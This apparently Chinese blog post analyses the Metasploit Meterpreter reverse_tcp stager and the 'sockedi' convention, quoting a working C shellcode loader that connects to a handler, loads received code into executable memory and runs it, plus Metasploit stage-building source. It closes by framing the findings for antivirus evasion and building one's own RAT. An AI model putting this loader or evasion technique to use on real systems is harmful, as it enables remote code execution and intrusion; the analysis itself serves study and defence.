metasploit payload运行原理浅析(sockedi调用约定是什么)

背景

最近在做一些msf相关的事情,今天听到免杀相关的,去查询了下相关资料。

第一个不能错过的就是cobalt strike作者早年写的metasploit-loader项目了,我看了项目源码,找了一些相关资料

Meterpreter载荷执行原理分析 文章发现了一些细节性的东西,也感谢该文作者的抛砖引玉,不过文中有一些错误以及未说明白的地方,我会一一道来。

注意:本文只是对我自己的分析结果进行一次复盘,如果有什么错误之处欢迎大家斧正

metasploit loader

metasploit的shellcode到底做了什么

首先我们需要探讨的第一个问题是metasploit的shellcode到底做了什么?

在msf的官方wiki中,官方有对这个问题做一些简单的解释

从上面的文章我们大致能知道其实我们使用msf生成的shellcode只是一个加载器(Stagers),然后加载器通过我们生成shellcode时指定的ip和端口回连过来取到真正执行的恶意载荷(Stages)

加载器(Stagers)回连的具体流程

那么提出第二个问题,这个加载器(Stagers)回连的具体代码流程是怎样的?

我们通过文档只能知道Stagers通过网络加载Stages,那么Stages是什么?shellcode?可执行文件?反射dll?这些我们还都不清楚。

然后通过网上一些零星的资料,找到了msf邮件组曾经的两封邮件(源地址已无法访问,所幸WebArchive有留存)

里面提到流程以及关键点

流程

No tutorials that I know of, but here are the basic steps:

  • connect to the handler
  • read a 4-byte length
  • allocate a length-byte buffer
  • mark it as writable and executable (on Windows you’ll need
    VirtualProtect for this)
  • read length bytes into that buffer
  • jump to the buffer. easiest way to do this in C is cast it to a
    function pointer and call it.

关键点

Assuming this is for X86 arch, you have to make sure that the EDI
register contains your socket descriptor (the value of the ConnectSocket
variable). You can do this via inline asm, but it might be easier to
just prepend the 5 bytes for setting it to your shellcode:

BF 78 56 34 12 mov edi, 0x12345678

For 64 bit, you have to use the RDI register (and need 10 bytes):

48 BF 78 56 34 12 00 00 00 00 mov rdi, 0x12345678

Hope this helps,

Michael

PS: This is the reason why the calling convention within Metasploit is
called “sockedi”

也就是说主要的流程大致上就是

  1. tcp连接
  2. 读取socket前四个byte,这个为后面的载荷的长度
  3. 分配可读可写可执行的内存,把载荷塞进去
  4. 注意这段载荷的前面需要手动加 mov edi, &socket
  5. 然后跳转到这块内存进行执行

实现起来并不困难,但是有些奇怪的点,比如为什么需要手动把edi的值设置为socket的地址?这个我们先放一放,看看一些loader的源码

首先是cobalt strike作者的

int main(int argc, char * argv[]) {
	ULONG32 size;
	char * buffer;
	void (*function)();

	winsock_init();

	if (argc != 3) {
		printf("%s [host] [port]\n", argv[0]);
		exit(1);
	}

	/* connect to the handler */
	SOCKET my_socket = wsconnect(argv[1], atoi(argv[2]));

	/* read the 4-byte length */
	int count = recv(my_socket, (char *)&size, 4, 0);
	if (count != 4 || size <= 0)
		punt(my_socket, "read a strange or incomplete length value\n");

	/* allocate a RWX buffer */
	buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if (buffer == NULL)
		punt(my_socket, "could not allocate buffer\n");

	/* prepend a little assembly to move our SOCKET value to the EDI register
	   thanks mihi for pointing this out
	   BF 78 56 34 12     =>      mov edi, 0x12345678 */
	buffer[0] = 0xBF;

	/* copy the value of our socket to the buffer */
	memcpy(buffer + 1, &my_socket, 4);

	/* read bytes into the buffer */
	count = recv_all(my_socket, buffer + 5, size);

	/* cast our buffer as a function and call it */
	function = (void (*)())buffer;
	function();

	return 0;
}

其他的函数我并没有列出来,里面的实现应该也很明白,就是我之前说的流程

然后是先知社区的,其实也就是把上一份代码注释翻译了一下

//主函数
int main(int argc, char * argv[]) {
    ULONG32 size;
    char * buffer;
    //创建函数指针,方便XXOO
    void (*function)();
    winsock_init(); //套接字初始化
    //获取参数,这里随便写,接不接收无所谓,主要是传递远程主机IP和端口
    //这个可以事先定义好
    if (argc != 3) {
        printf("%s [host] [port] ^__^ \n", argv[0]);
        exit(1);
    }

    /*连接到处理程序,也就是远程主机 */
    SOCKET my_socket = my_connect(argv[1], atoi(argv[2]));

    /* 读取4字节长度
    *这里是meterpreter第一次发送过来的
    *4字节缓冲区大小2E840D00,大小可能会有所不同,当然也可以自己丢弃,自己定义一个大小
    */
    //是否报错
    //如果第一次不是接收的4字节那么就退出程序
    int count = recv(my_socket, (char *)&size, 4, 0);
    if (count != 4 || size <= 0)
        punt(my_socket, "read length value Error\n");

    /* 分配一个缓冲区 RWX buffer */
    buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (buffer == NULL)
        punt(my_socket, "could not alloc buffer\n");

    /* 
    *SOCKET赋值到EDI寄存器,装载到buffer[]中
    */
    //mov edi
    buffer[0] = 0xBF;

    /* 把我们的socket里的值复制到缓冲区中去*/
    memcpy(buffer + 1, &my_socket, 4);

    /* 读取字节到缓冲区
    *这里就循环接收DLL数据,直到接收完毕
    */
    count = recv_all(my_socket, buffer + 5, size);

    /* 将缓冲区作为函数并调用它。
    * 这里可以看作是shellcode的装载,
    * 因为这本身是一个DLL装载器,完成使命,控制权交给DLL,
    * 但本身不退出,除非迁移进程,靠DLL里函数,DLL在DLLMain里是循环接收指令的,直到遇到退出指令,
    * (void (*)())buffer的这种用法经常出现在shellcode中
    */
    function = (void (*)())buffer;
    function();
    return 0;
}

两份代码都没解决我们的疑问

我们直接翻翻msf源码

lib/msf/core/payload/windows/reverse_tcp.rb

代码比较长我就不贴了,简要说一下, asm_block_recv 函数是接收载荷的函数,然后我们看看 asm_reverse_tcp

      create_socket:
        push #{encoded_host}    ; host in little-endian format
        push #{encoded_port}    ; family AF_INET and port number
        mov esi, esp            ; save pointer to sockaddr struct
        push eax                ; if we succeed, eax will be zero, push zero for the flags param.
        push eax                ; push null for reserved parameter
        push eax                ; we do not specify a WSAPROTOCOL_INFO structure
        push eax                ; we do not specify a protocol
        inc eax                 ;
        push eax                ; push SOCK_STREAM
        inc eax                 ;
        push eax                ; push AF_INET
        push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
        call ebp                ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
        xchg edi, eax           ; save the socket for later, don't care about the value of eax after this

call WSASocketA 之后返回的是socket句柄,返回值一般是在eax里面,然后把eax赋值到了edi

继续找找edi,但是发现剩下的edi都是用作调用,好像没有什么明显的作用,那为什么有这个?

这个载荷Stages具体是怎么生成的?

这里就要引入我刚才说的先知上的那篇文章的问题了,在 Meterpreter载荷执行原理分析 文章中,作者提到

metasploit的meterpreter的payload调用了meterpreter_loader.rb文件,在meterpreter_loader.rb文件中又引入了reflective_dll_loader.rb文件,reflective_dll_loader.rb主要是获取ReflectiveLoader()的偏移地址,用于重定位使用,没有什么可分析的。我们来到这个文件里reflectivedllinject.rb,这个文件主要是修复反射dll的,meterpreter_loader.rb文件主要是用于自身模块使用,修复dll和读取payload的长度的。

其实 windows/meterpreter/reverse_tcp 是走的 meterpreter_loader,而不是文中的 reflectivedllinject,我通过调试发现这个请求载荷的过程是流经 meterpreter_loader 文件的

不过这两个文件的功效都是差不多的,我们打开分析一下

映入眼帘的应该是这段

  def stage_meterpreter(opts={})
    # Exceptions will be thrown by the mixin if there are issues.
    dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll'))

    asm_opts = {
      rdi_offset: offset,
      length:     dll.length,
      stageless:  opts[:stageless] == true
    }

    asm = asm_invoke_metsrv(asm_opts)

    # generate the bootstrap asm
    bootstrap = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string

    # sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
    if bootstrap.length > 62
      raise RuntimeError, "Meterpreter loader (x86) generated an oversized bootstrap!"
    end

    # patch the bootstrap code into the dll's DOS header...
    dll[ 0, bootstrap.length ] = bootstrap

    dll
  end

这段代码里面首先取到了metsrv的dll的文件,然后传入 asm_invoke_metsrv 函数做处理,生成汇编字节码,然后替换这个dll的头部

我们看看 load_rdi_dll 函数,这个函数取到了一个偏移量然后传入 asm_invoke_metsrv 函数做处理了

  def load_rdi_dll(dll_path)
    dll = ''
    ::File.open(dll_path, 'rb') { |f| dll = f.read }

    offset = parse_pe(dll)

    unless offset
      raise "Cannot find the ReflectiveLoader entry point in #{dll_path}"
    end

    return dll, offset
  end

  def parse_pe(dll)
    pe = Rex::PeParsey::Pe.new(Rex::ImageSource::Memory.new(dll))
    offset = nil

    pe.exports.entries.each do |e|
      if e.name =~ /^\S*ReflectiveLoader\S*/
        offset = pe.rva_to_file_offset(e.rva)
        break
      end
    end

    offset
  end

甚至我们不用深究这些函数的具体流程,看名称就知道,这个是从dll导出表找到了ReflectiveLoader导出函数的地址

然后进入 asm_invoke_metsrv 看看

  def asm_invoke_metsrv(opts={})
    asm = %Q^
        ; prologue
          dec ebp               ; 'M'
          pop edx               ; 'Z'
          call $+5              ; call next instruction
          pop ebx               ; get the current location (+7 bytes)
          push edx              ; restore edx
          inc ebp               ; restore ebp
          push ebp              ; save ebp for later
          mov ebp, esp          ; set up a new stack frame
        ; Invoke ReflectiveLoader()
          ; add the offset to ReflectiveLoader() (0x????????)
          add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}
          call ebx              ; invoke ReflectiveLoader()
        ; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
          ; offset from ReflectiveLoader() to the end of the DLL
          add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
    ^

    unless opts[:stageless] || opts[:force_write_handle] == true
      asm << %Q^
          mov [ebx], edi        ; write the current socket/handle to the config
      ^
    end

    asm << %Q^
          push ebx              ; push the pointer to the configuration start
          push 4                ; indicate that we have attached
          push eax              ; push some arbitrary value for hInstance
          call eax              ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
    ^
  end

不得不说这段十分巧妙,我们想想刚才的流程是什么,排开那个 mov edi, &socket 不论,剩下的就是从传回来的载荷的首地址开始跑了,那假如是一个dll文件,你把一个平常的dll文件,VirtualAlloc后直接跳到地址跑,能跑起来吗?显然是不能的,我们看看msf中的处理

我们上面的代码分析过,这个汇编最后是替换了dll的头部,pe文件的头部就是dos头,dos头必须是MZ开头,不然这个根本算不上一个pe文件

dec ebppop edx 算怎么回事?

其实这两条汇编的机器码就是

\x4D # dec ebp
\x5A # pop edx

恰好构成了MZ头,然后继续往下跑,调用了ReflectiveLoader(),这个是反射dll技术,具体代码技术细节可以见 https://github.com/stephenfewer/ReflectiveDLLInjection

调用该dll导出函数 ReflectiveLoader 的主要功能就是加载dll自身到内存中,然后返回dllmain的函数地址,返回值是在eax里面

然后调用 mov [ebx], edi ; write the current socket/handle to the config 把edi也就是上文提到的socket句柄地址存入ebx执行的内存,上面可以看到

 ; offset from ReflectiveLoader() to the end of the DLL
add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}

这段汇编把ebx指向到了该dll加载空间的末尾

紧接着执行

push ebx              ; push the pointer to the configuration start
push 4                ; indicate that we have attached
push eax              ; push some arbitrary value for hInstance
call eax              ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)

调用储存在eax中的dllmain的函数

其中的ebx到底是什么?

我们把目光再往外层拉

  def stage_payload(opts={})
    stage_meterpreter(opts) + generate_config(opts)
  end

  def generate_config(opts={})
    ds = opts[:datastore] || datastore
    opts[:uuid] ||= generate_payload_uuid

    # create the configuration block, which for staged connections is really simple.
    config_opts = {
      arch:              opts[:uuid].arch,
      null_session_guid: opts[:null_session_guid] == true,
      exitfunk:          ds[:exit_func] || ds['EXITFUNC'],
      expiration:        (ds[:expiration] || ds['SessionExpirationTimeout']).to_i,
      uuid:              opts[:uuid],
      transports:        opts[:transport_config] || [transport_config(opts)],
      extensions:        [],
      stageless:         opts[:stageless] == true
    }

    # create the configuration instance based off the parameters
    config = Rex::Payloads::Meterpreter::Config.new(config_opts)

    # return the binary version of it
    config.to_b
  end

可以看到 stage_payload 中把生成好的dll字节码和一串config拼接了起来,config里面的参数要分析的话又是一大块了,本文不着眼于此

跟进 config.to_b 看看

  def to_b
    config_block
  end
  
  def config_block
    # start with the session information
    config = session_block(@opts)

    # then load up the transport configurations
    (@opts[:transports] || []).each do |t|
      config << transport_block(t)
    end

    # terminate the transports with NULL (wchar)
    config << "\x00\x00"

    # configure the extensions - this will have to change when posix comes
    # into play.
    file_extension = 'x86.dll'
    file_extension = 'x64.dll' unless is_x86?

    (@opts[:extensions] || []).each do |e|
      config << extension_block(e, file_extension)
    end

    # terminate the extensions with a 0 size
    config << [0].pack('V')

    # wire in the extension init data
    (@opts[:ext_init] || '').split(':').each do |cfg|
      name, value = cfg.split(',')
      config << extension_init_block(name, value)
    end

    # terminate the ext init config with a final null byte
    config << "\x00"

    # and we're done
    config
  end

然后我们跟进 session_blocktransport_block 看看就能明白这就是一串配置转化为字节码,具体的转化规则我们不论

可以看到 函数里面有

    session_data = [
      0,                  # comms socket, patched in by the stager
      exit_func,          # exit function identifer
      opts[:expiration],  # Session expiry
      uuid,               # the UUID
      session_guid        # the Session GUID
    ]

    session_data.pack('QVVA*A*')

最开始的是0,pack的格式是Q,8位,这8位是干嘛的?

现在回过头想想,当之前生成好的dll载荷,我们从首地址开始跑,我们刚才那个edi(socket地址)填充到哪了,是不是那个dll空间的末尾再往后填,这个空间不恰好就是这8位0吗?

所谓的sockedi到底是啥?

跟踪edi

根据我们前面的分析,我们把加载器挂调试器跑起来看看

首先分配完RWX内存空间后,我们看到了首地址 0x6A0000,然后我们在内存窗口中转到该地址,那我们重点关注的是dll所在区域的末尾,我们直接把内存地址转到 0x6CAC06(别问我怎么知道的,方法很多,比如多次调试)

我们首先把内存地址转到这个地方然后往下跑把数据接过来看看

现在前八位还是空的,但是后面已经有一些数据了,包括一些能看到文字的配置(比如tcp://0.0.0.0:4444)然后继续下跑,进到我们分配出来的函数去看看

首当其冲的就是我们的 mov edi, &socket,继续往下

可以看到,和我们预期的一样,复制到了这八位的空间里面,这里可以配合msf源码以及我的注释查看

分析用作载荷的反射dll

还记得我们前面分析的源码中的metsrv dll文件吗?

我们可以在 metasploit-payloads 中找到这个项目的源码

我们直接看看metsrc dllmain函数

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
	BOOL bReturnValue = TRUE;

	switch (dwReason)
	{
	case DLL_METASPLOIT_ATTACH:
		bReturnValue = Init((MetsrvConfig*)lpReserved);
		break;
	case DLL_QUERY_HMODULE:
		if (lpReserved != NULL)
			*(HMODULE*)lpReserved = hAppInstance;
		break;
	case DLL_PROCESS_ATTACH:
		hAppInstance = hinstDLL;
		break;
	case DLL_PROCESS_DETACH:
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
		break;
	}
	return bReturnValue;
}

刚才调用dllmain我们是使用了 calleax ;call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)

我们这个 config_ptr 传递的是什么?是 push ebx ; push the pointer to the configuration start,也就是那个首8位塞了我们socket句柄地址的数据的起始地址,然后走 DLL_METASPLOIT_ATTACH 分支,把这个地址中的数据强转为了 MetsrvConfig 结构体

我们看看 MetsrvConfig 结构体

typedef struct _MetsrvConfig
{
	MetsrvSession session;
	MetsrvTransportCommon transports[1];  ///! Placeholder for 0 or more transports
	// Extensions will appear after this
	// After extensions, we get a list of extension initialisers
	// <name of extension>\x00<datasize><data>
	// <name of extension>\x00<datasize><data>
	// \x00
} MetsrvConfig;

typedef struct _MetsrvSession
{
	union
	{
		UINT_PTR handle;
		BYTE padding[8];
	} comms_handle;                       ///! Socket/handle for communications (if there is one).
	DWORD exit_func;                      ///! Exit func identifier for when the session ends.
	int expiry;                           ///! The total number of seconds to wait before killing off the session.
	BYTE uuid[UUID_SIZE];                 ///! UUID
	BYTE session_guid[sizeof(GUID)];      ///! Current session GUID
} MetsrvSession;

typedef struct _MetsrvTransportCommon
{
	CHARTYPE url[URL_SIZE];               ///! Transport url:  scheme://host:port/URI
	int comms_timeout;                    ///! Number of sessions to wait for a new packet.
	int retry_total;                      ///! Total seconds to retry comms for.
	int retry_wait;                       ///! Seconds to wait between reconnects.
} MetsrvTransportCommon;

这些信息很明显能看到是一些信息,比如uuid,重试次数之类的,这些在payload的生成选项里面都能找到

那么我们现在差不多明白了,这一块的东西是强转成了这个结构体,包括edi中所存放的socket句柄地址

好吧,别忘了我们的使命,搞清楚这个edi的作用

划入这个结构体也就是

	union
	{
		UINT_PTR handle;
		BYTE padding[8];
	} comms_handle;                       ///! Socket/handle for communications (if there is one).

也就是我们找找 comms_handle 用在了哪

所以进到 Init((MetsrvConfig*)lpReserved) 里面看看

DWORD Init(MetsrvConfig* metConfig)
{
	// if hAppInstance is still == NULL it means that we havent been
	// reflectivly loaded so we must patch in the hAppInstance value
	// for use with loading server extensions later.
	InitAppInstance();

	// In the case of metsrv payloads, the parameter passed to init is NOT a socket, it's actually
	// a pointer to the metserv configuration, so do a nasty cast and move on.
	dprintf("[METSRV] Getting ready to init with config %p", metConfig);
	DWORD result = server_setup(metConfig);

	dprintf("[METSRV] Exiting with %08x", metConfig->session.exit_func);

	// We also handle exit func directly in metsrv now because the value is added to the
	// configuration block and we manage to save bytes in the stager/header as well.
	switch (metConfig->session.exit_func)
	{
	case EXITFUNC_SEH:
		SetUnhandledExceptionFilter(NULL);
		break;
	case EXITFUNC_THREAD:
		ExitThread(0);
		break;
	case EXITFUNC_PROCESS:
		ExitProcess(0);
		break;
	default:
		break;
	}
	return result;
}

里面调用了 server_setup 然后吐出了结果,最后返回,跟到外层也就是dllmain的返回值,dllmain返回值作用我不赘述了,然后根据你的生成选项中的 EXITFUNC 来进行退出,退出进程、线程或者SEH异常,这里我们不管,我们看看 server_setup 函数

server_setup函数很长,我就不贴整个函数了

使用了 comms_handle 的我贴一下

...
dprintf("[SESSION] Comms handle: %u", config->session.comms_handle);
...

dprintf("[DISPATCH] Transport handle is %p", (LPVOID)config->session.comms_handle.handle);
if (remote->transport->set_handle)
{
    remote->transport->set_handle(remote->transport, config->session.comms_handle.handle);
}

根据这些代码我们能够知道是把 Transport handle 设置为了我们之前创建的socket

继续往后找我们能找到

然后跟进 transport_set_handle_tcp 可以看到

/*!
 * @brief Get the socket from the transport (if it's TCP).
 * @param transport Pointer to the TCP transport containing the socket.
 * @return The current transport socket FD, if any, or zero.
 */
static UINT_PTR transport_get_handle_tcp(Transport* transport)
{
	if (transport && transport->type == METERPRETER_TRANSPORT_TCP)
	{
		return (UINT_PTR)((TcpTransportContext*)transport->ctx)->fd;
	}

	return 0;
}

/*!
 * @brief Set the socket from the transport (if it's TCP).
 * @param transport Pointer to the TCP transport containing the socket.
 * @param handle The current transport socket FD, if any.
 */
static void transport_set_handle_tcp(Transport* transport, UINT_PTR handle)
{
	if (transport && transport->type == METERPRETER_TRANSPORT_TCP)
	{
		((TcpTransportContext*)transport->ctx)->fd = (SOCKET)handle;
	}
}

也只是转为了socket句柄,然后给外部再继续通过这个socket去取一些服务器上的东西(后面的我没再跟下去了,我猜测也只有这种可能)

总结

这次的分析耗时一天,从上午看到讨论免杀,加载器,然后开始分析,说实话,还是收获了不少,比如那个反射dll的改dos头就让我不得不佩服,卧槽,这操作骚。本次只是拿 windows/meterpreter/reverse_tcp 开刀,我相信其他的也一样,不然何以被官方称 sockedi 调用约定,说明这已经是msf里面加载的约定成俗的东西了。

那么从这次的分析中我们能获得哪些启示?当然是免杀对抗的启示,antiAV方可以通过研究使用自己的payload格式,AV方可以通过这个流程来对msf的payload的查杀更上一步,或者根据里面的改DOS头技术打造自己的模块化RAT

下一步可以做的

  1. 研究payload uuid的回传
  2. 研究rc4,aes之类的所谓加密shellcode,加密是在哪里

现在就可以得到的

  1. 当然是一个香喷喷的shellcode加载器,具体实现就是八仙过海各显神通了。
  2. 改DOS头直接执行的技术
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